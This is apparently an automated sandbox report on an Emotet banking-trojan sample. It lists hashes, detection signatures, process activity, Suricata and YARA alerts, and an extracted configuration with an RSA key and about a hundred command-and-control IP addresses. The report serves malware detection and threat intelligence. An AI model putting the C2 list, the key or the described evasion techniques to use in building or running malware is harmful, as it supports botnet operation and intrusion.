Edit tour

Windows Analysis Report
ExeFile (356).exe

Overview

General Information

Sample name:	ExeFile (356).exe
Analysis ID:	1495910
MD5:	4c1c997c16309a2d391e1d39988000cc
SHA1:	199ebff853acd5f3209ea81c75d48d1db20334cc
SHA256:	c37ae465ddd63d49f36380cf223d1b0d3117021190d73bc37ee132ec10020342
Tags:	EmotetHeodo
Infos:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Emotet

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Connects to several IPs in different countries

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files to the windows directory (C:\Windows)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

ExeFile (356).exe (PID: 6640 cmdline: "C:\Users\user\Desktop\ExeFile (356).exe" MD5: 4C1C997C16309A2D391E1D39988000CC)

Websocket.exe (PID: 6716 cmdline: "C:\Windows\SysWOW64\provcore\Websocket.exe" MD5: 4C1C997C16309A2D391E1D39988000CC)

svchost.exe (PID: 6240 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Emotet	While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets.It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time.Emotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.	GOLD CABIN MUMMY SPIDER Mealybug	http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1 http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/ http://ropgadget.com/posts/defensive_pcres.html https://adalogics.com/blog/the-state-of-advanced-code-injections https://asec.ahnlab.com/en/33600/	https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB", "C2 list": ["71.72.196.159:80", "134.209.36.254:8080", "120.138.30.150:8080", "94.23.216.33:80", "157.245.99.39:8080", "137.59.187.107:8080", "94.23.237.171:443", "61.19.246.238:443", "156.155.166.221:80", "50.35.17.13:80", "153.137.36.142:80", "91.211.88.52:7080", "209.141.54.221:8080", "185.94.252.104:443", "174.45.13.118:80", "87.106.136.232:8080", "62.75.141.82:80", "213.196.135.145:80", "188.219.31.12:80", "82.80.155.43:80", "187.161.206.24:80", "172.91.208.86:80", "124.41.215.226:80", "107.5.122.110:80", "200.123.150.89:443", "95.179.229.244:8080", "83.169.36.251:8080", "1.221.254.82:80", "95.213.236.64:8080", "181.169.34.190:80", "47.144.21.12:443", "203.153.216.189:7080", "89.216.122.92:80", "84.39.182.7:80", "94.200.114.161:80", "104.236.246.93:8080", "139.99.158.11:443", "176.111.60.55:8080", "78.24.219.147:8080", "220.245.198.194:80", "62.30.7.67:443", "139.162.108.71:8080", "104.32.141.43:80", "153.232.188.106:80", "93.147.212.206:80", "79.137.83.50:443", "96.249.236.156:443", "24.43.99.75:80", "75.80.124.4:80", "42.200.107.142:80", "110.5.16.198:80", "5.196.74.210:8080", "110.145.77.103:80", "200.114.213.233:8080", "85.152.162.105:80", "5.39.91.110:7080", "109.74.5.95:8080", "140.186.212.146:80", "37.187.72.193:8080", "97.82.79.83:80", "139.130.242.43:80", "201.173.217.124:443", "123.176.25.234:80", "104.131.44.150:8080", "74.208.45.104:8080", "139.59.60.244:8080", "120.150.60.189:80", "74.219.172.26:80", "219.75.128.166:80", "82.225.49.121:80", "85.105.205.77:8080", "24.179.13.119:80", "74.120.55.163:80", "174.102.48.180:443", "219.74.18.66:443", "168.235.67.138:7080", "194.187.133.160:443", "78.187.156.31:80", "103.86.49.11:8080", "61.92.17.12:80", "24.137.76.62:80", "104.131.11.150:443", "79.98.24.39:8080", "75.139.38.211:80", "162.241.242.173:8080", "195.251.213.56:80", "37.139.21.175:8080", "46.105.131.79:8080", "50.91.114.38:80", "121.124.124.40:7080", "74.134.41.124:80", "68.188.112.97:80", "137.119.36.33:80", "121.7.127.163:80", "87.106.139.101:8080", "94.1.108.190:443", "169.239.182.217:8080"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2389548651.00000000020E4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.2389548651.00000000020E4000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x31dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000002.00000002.3637813859.0000000000734000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.3637813859.0000000000734000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x31dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x590a:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000002.00000002.3637503164.0000000000600000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.3637503164.0000000000600000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x590a:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x2d6c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x2d6c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.Websocket.exe.60279e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.Websocket.exe.60279e.2.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x316c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (356).exe.5f279e.3.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (356).exe.5f279e.3.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x316c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (356).exe.5f279e.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (356).exe.5f279e.3.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x256c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (356).exe.600000.4.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (356).exe.600000.4.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x316c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
2.2.Websocket.exe.60052e.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.Websocket.exe.60052e.3.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x35dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
2.2.Websocket.exe.60052e.3.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.Websocket.exe.60052e.3.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x53dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (356).exe.5f052e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (356).exe.5f052e.2.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x35dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
0.2.ExeFile (356).exe.5f052e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.ExeFile (356).exe.5f052e.2.raw.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x53dc:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
2.2.Websocket.exe.60279e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.Websocket.exe.60279e.2.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x256c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
2.2.Websocket.exe.610000.4.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.Websocket.exe.610000.4.unpack	Windows_Trojan_Emotet_5528b3b0	unknown	unknown	0x316c:$a: 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 134.209.36.254, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\SysWOW64\provcore\Websocket.exe, Initiated: true, ProcessId: 6716, Protocol: tcp, SourceIp: 192.168.2.12, SourceIsIpv6: false, SourcePort: 49722

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 6240, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.12 - Destination IP: 120.138.30.150

Timestamp:	2024-08-20T17:47:30.327401+0200
SID:	2854388
Severity:	1
Source Port:	49723
Destination Port:	8080
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.12 - Destination IP: 174.45.13.118

Timestamp:	2024-08-20T17:48:48.814321+0200
SID:	2854388
Severity:	1
Source Port:	62418
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.12 - Destination IP: 94.23.237.171

Timestamp:	2024-08-20T17:47:03.074373+0200
SID:	2854388
Severity:	1
Source Port:	62404
Destination Port:	443
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.12 - Destination IP: 87.106.136.232

Timestamp:	2024-08-20T17:48:53.453903+0200
SID:	2854388
Severity:	1
Source Port:	62419
Destination Port:	8080
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 - Source IP: 192.168.2.12 - Destination IP: 137.59.187.107

Timestamp:	2024-08-20T17:47:59.609413+0200
SID:	2854388
Severity:	1
Source Port:	49726
Destination Port:	8080
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ExeFile (356).exe

Avira: detected

Found malware configuration

Source: 2.2.Websocket.exe.610000.4.unpack

Malware Configuration Extractor: Emotet {"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB", "C2 list": ["71.72.196.159:80", "134.209.36.254:8080", "120.138.30.150:8080", "94.23.216.33:80", "157.245.99.39:8080", "137.59.187.107:8080", "94.23.237.171:443", "61.19.246.238:443", "156.155.166.221:80", "50.35.17.13:80", "153.137.36.142:80", "91.211.88.52:7080", "209.141.54.221:8080", "185.94.252.104:443", "174.45.13.118:80", "87.106.136.232:8080", "62.75.141.82:80", "213.196.135.145:80", "188.219.31.12:80", "82.80.155.43:80", "187.161.206.24:80", "172.91.208.86:80", "124.41.215.226:80", "107.5.122.110:80", "200.123.150.89:443", "95.179.229.244:8080", "83.169.36.251:8080", "1.221.254.82:80", "95.213.236.64:8080", "181.169.34.190:80", "47.144.21.12:443", "203.153.216.189:7080", "89.216.122.92:80", "84.39.182.7:80", "94.200.114.161:80", "104.236.246.93:8080", "139.99.158.11:443", "176.111.60.55:8080", "78.24.219.147:8080", "220.245.198.194:80", "62.30.7.67:443", "139.162.108.71:8080", "104.32.141.43:80", "153.232.188.106:80", "93.147.212.206:80", "79.137.83.50:443", "96.249.236.156:443", "24.43.99.75:80", "75.80.124.4:80", "42.200.107.142:80", "110.5.16.198:80", "5.196.74.210:8080", "110.145.77.103:80", "200.114.213.233:8080", "85.152.162.105:80", "5.39.91.110:7080", "109.74.5.95:8080", "140.186.212.146:80", "37.187.72.193:8080", "97.82.79.83:80", "139.130.242.43:80", "201.173.217.124:443", "123.176.25.234:80", "104.131.44.150:8080", "74.208.45.104:8080", "139.59.60.244:8080", "120.150.60.189:80", "74.219.172.26:80", "219.75.128.166:80", "82.225.49.121:80", "85.105.205.77:8080", "24.179.13.119:80", "74.120.55.163:80", "174.102.48.180:443", "219.74.18.66:443", "168.235.67.138:7080", "194.187.133.160:443", "78.187.156.31:80", "103.86.49.11:8080", "61.92.17.12:80", "24.137.76.62:80", "104.131.11.150:443", "79.98.24.39:8080", "75.139.38.211:80", "162.241.242.173:8080", "195.251.213.56:80", "37.139.21.175:8080", "46.105.131.79:8080", "50.91.114.38:80", "121.124.124.40:7080", "74.134.41.124:80", "68.188.112.97:80", "137.119.36.33:80", "121.7.127.163:80", "87.106.139.101:8080", "94.1.108.190:443", "169.239.182.217:8080"]}

Multi AV Scanner detection for submitted file

Source: ExeFile (356).exe

ReversingLabs: Detection: 97%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.9% probability

Machine Learning detection for sample

Source: ExeFile (356).exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_006125A0 CryptAcquireContextW,CryptImportKey,LocalFree,CryptCreateHash,CryptDecodeObjectEx,CryptDecodeObjectEx,CryptGenKey,	2_2_006125A0
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_00612210 CryptDestroyHash,CryptExportKey,CryptDuplicateHash,CryptGetHashParam,CryptEncrypt,memcpy,GetProcessHeap,HeapFree,	2_2_00612210
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_00611FA0 CryptDuplicateHash,CryptDestroyHash,memcpy,	2_2_00611FA0

Source: ExeFile (356).exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: A:\WindowsProcessManager-master\WindowsProcessManager-master\Release\TaskMgr.pdb source: ExeFile (356).exe
Source:	Binary string: vfwwdm32.pdb source: ExeFile (356).exe

Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_006038B0 GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,FindClose,		0_2_006038B0
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_006138B0 _snwprintf,_snwprintf,GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,FindClose,		2_2_006138B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:49723 -> 120.138.30.150:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:49723 -> 120.138.30.150:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62418 -> 174.45.13.118:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62418 -> 174.45.13.118:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:49726 -> 137.59.187.107:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:49726 -> 137.59.187.107:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62419 -> 87.106.136.232:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62419 -> 87.106.136.232:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62408 -> 153.137.36.142:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62408 -> 153.137.36.142:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62405 -> 61.19.246.238:443
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:49724 -> 94.23.216.33:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:49724 -> 94.23.216.33:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62406 -> 156.155.166.221:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62409 -> 91.211.88.52:7080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62409 -> 91.211.88.52:7080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62407 -> 50.35.17.13:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62407 -> 50.35.17.13:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:49712 -> 71.72.196.159:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:49712 -> 71.72.196.159:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62420 -> 62.75.141.82:80
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62420 -> 62.75.141.82:80
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:49725 -> 157.245.99.39:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:49725 -> 157.245.99.39:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:49722 -> 134.209.36.254:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:49722 -> 134.209.36.254:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62410 -> 209.141.54.221:8080
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62410 -> 209.141.54.221:8080
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62411 -> 185.94.252.104:443
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62411 -> 185.94.252.104:443
Source: Network traffic	Suricata IDS: 2030868 - Severity 1 - ET MALWARE Win32/Emotet CnC Activity (POST) M10 : 192.168.2.12:62404 -> 94.23.237.171:443
Source: Network traffic	Suricata IDS: 2854388 - Severity 1 - ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13 : 192.168.2.12:62404 -> 94.23.237.171:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 71.72.196.159:80
Source: Malware configuration extractor	IPs: 134.209.36.254:8080
Source: Malware configuration extractor	IPs: 120.138.30.150:8080
Source: Malware configuration extractor	IPs: 94.23.216.33:80
Source: Malware configuration extractor	IPs: 157.245.99.39:8080
Source: Malware configuration extractor	IPs: 137.59.187.107:8080
Source: Malware configuration extractor	IPs: 94.23.237.171:443
Source: Malware configuration extractor	IPs: 61.19.246.238:443
Source: Malware configuration extractor	IPs: 156.155.166.221:80
Source: Malware configuration extractor	IPs: 50.35.17.13:80
Source: Malware configuration extractor	IPs: 153.137.36.142:80
Source: Malware configuration extractor	IPs: 91.211.88.52:7080
Source: Malware configuration extractor	IPs: 209.141.54.221:8080
Source: Malware configuration extractor	IPs: 185.94.252.104:443
Source: Malware configuration extractor	IPs: 174.45.13.118:80
Source: Malware configuration extractor	IPs: 87.106.136.232:8080
Source: Malware configuration extractor	IPs: 62.75.141.82:80
Source: Malware configuration extractor	IPs: 213.196.135.145:80
Source: Malware configuration extractor	IPs: 188.219.31.12:80
Source: Malware configuration extractor	IPs: 82.80.155.43:80
Source: Malware configuration extractor	IPs: 187.161.206.24:80
Source: Malware configuration extractor	IPs: 172.91.208.86:80
Source: Malware configuration extractor	IPs: 124.41.215.226:80
Source: Malware configuration extractor	IPs: 107.5.122.110:80
Source: Malware configuration extractor	IPs: 200.123.150.89:443
Source: Malware configuration extractor	IPs: 95.179.229.244:8080
Source: Malware configuration extractor	IPs: 83.169.36.251:8080
Source: Malware configuration extractor	IPs: 1.221.254.82:80
Source: Malware configuration extractor	IPs: 95.213.236.64:8080
Source: Malware configuration extractor	IPs: 181.169.34.190:80
Source: Malware configuration extractor	IPs: 47.144.21.12:443
Source: Malware configuration extractor	IPs: 203.153.216.189:7080
Source: Malware configuration extractor	IPs: 89.216.122.92:80
Source: Malware configuration extractor	IPs: 84.39.182.7:80
Source: Malware configuration extractor	IPs: 94.200.114.161:80
Source: Malware configuration extractor	IPs: 104.236.246.93:8080
Source: Malware configuration extractor	IPs: 139.99.158.11:443
Source: Malware configuration extractor	IPs: 176.111.60.55:8080
Source: Malware configuration extractor	IPs: 78.24.219.147:8080
Source: Malware configuration extractor	IPs: 220.245.198.194:80
Source: Malware configuration extractor	IPs: 62.30.7.67:443
Source: Malware configuration extractor	IPs: 139.162.108.71:8080
Source: Malware configuration extractor	IPs: 104.32.141.43:80
Source: Malware configuration extractor	IPs: 153.232.188.106:80
Source: Malware configuration extractor	IPs: 93.147.212.206:80
Source: Malware configuration extractor	IPs: 79.137.83.50:443
Source: Malware configuration extractor	IPs: 96.249.236.156:443
Source: Malware configuration extractor	IPs: 24.43.99.75:80
Source: Malware configuration extractor	IPs: 75.80.124.4:80
Source: Malware configuration extractor	IPs: 42.200.107.142:80
Source: Malware configuration extractor	IPs: 110.5.16.198:80
Source: Malware configuration extractor	IPs: 5.196.74.210:8080
Source: Malware configuration extractor	IPs: 110.145.77.103:80
Source: Malware configuration extractor	IPs: 200.114.213.233:8080
Source: Malware configuration extractor	IPs: 85.152.162.105:80
Source: Malware configuration extractor	IPs: 5.39.91.110:7080
Source: Malware configuration extractor	IPs: 109.74.5.95:8080
Source: Malware configuration extractor	IPs: 140.186.212.146:80
Source: Malware configuration extractor	IPs: 37.187.72.193:8080
Source: Malware configuration extractor	IPs: 97.82.79.83:80
Source: Malware configuration extractor	IPs: 139.130.242.43:80
Source: Malware configuration extractor	IPs: 201.173.217.124:443
Source: Malware configuration extractor	IPs: 123.176.25.234:80
Source: Malware configuration extractor	IPs: 104.131.44.150:8080
Source: Malware configuration extractor	IPs: 74.208.45.104:8080
Source: Malware configuration extractor	IPs: 139.59.60.244:8080
Source: Malware configuration extractor	IPs: 120.150.60.189:80
Source: Malware configuration extractor	IPs: 74.219.172.26:80
Source: Malware configuration extractor	IPs: 219.75.128.166:80
Source: Malware configuration extractor	IPs: 82.225.49.121:80
Source: Malware configuration extractor	IPs: 85.105.205.77:8080
Source: Malware configuration extractor	IPs: 24.179.13.119:80
Source: Malware configuration extractor	IPs: 74.120.55.163:80
Source: Malware configuration extractor	IPs: 174.102.48.180:443
Source: Malware configuration extractor	IPs: 219.74.18.66:443
Source: Malware configuration extractor	IPs: 168.235.67.138:7080
Source: Malware configuration extractor	IPs: 194.187.133.160:443
Source: Malware configuration extractor	IPs: 78.187.156.31:80
Source: Malware configuration extractor	IPs: 103.86.49.11:8080
Source: Malware configuration extractor	IPs: 61.92.17.12:80
Source: Malware configuration extractor	IPs: 24.137.76.62:80
Source: Malware configuration extractor	IPs: 104.131.11.150:443
Source: Malware configuration extractor	IPs: 79.98.24.39:8080
Source: Malware configuration extractor	IPs: 75.139.38.211:80
Source: Malware configuration extractor	IPs: 162.241.242.173:8080
Source: Malware configuration extractor	IPs: 195.251.213.56:80
Source: Malware configuration extractor	IPs: 37.139.21.175:8080
Source: Malware configuration extractor	IPs: 46.105.131.79:8080
Source: Malware configuration extractor	IPs: 50.91.114.38:80
Source: Malware configuration extractor	IPs: 121.124.124.40:7080
Source: Malware configuration extractor	IPs: 74.134.41.124:80
Source: Malware configuration extractor	IPs: 68.188.112.97:80
Source: Malware configuration extractor	IPs: 137.119.36.33:80
Source: Malware configuration extractor	IPs: 121.7.127.163:80
Source: Malware configuration extractor	IPs: 87.106.139.101:8080
Source: Malware configuration extractor	IPs: 94.1.108.190:443
Source: Malware configuration extractor	IPs: 169.239.182.217:8080

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 62409 -> 7080

Source: unknown

Network traffic detected: IP country count 32

Source: global traffic	TCP traffic: 192.168.2.12:49722 -> 134.209.36.254:8080
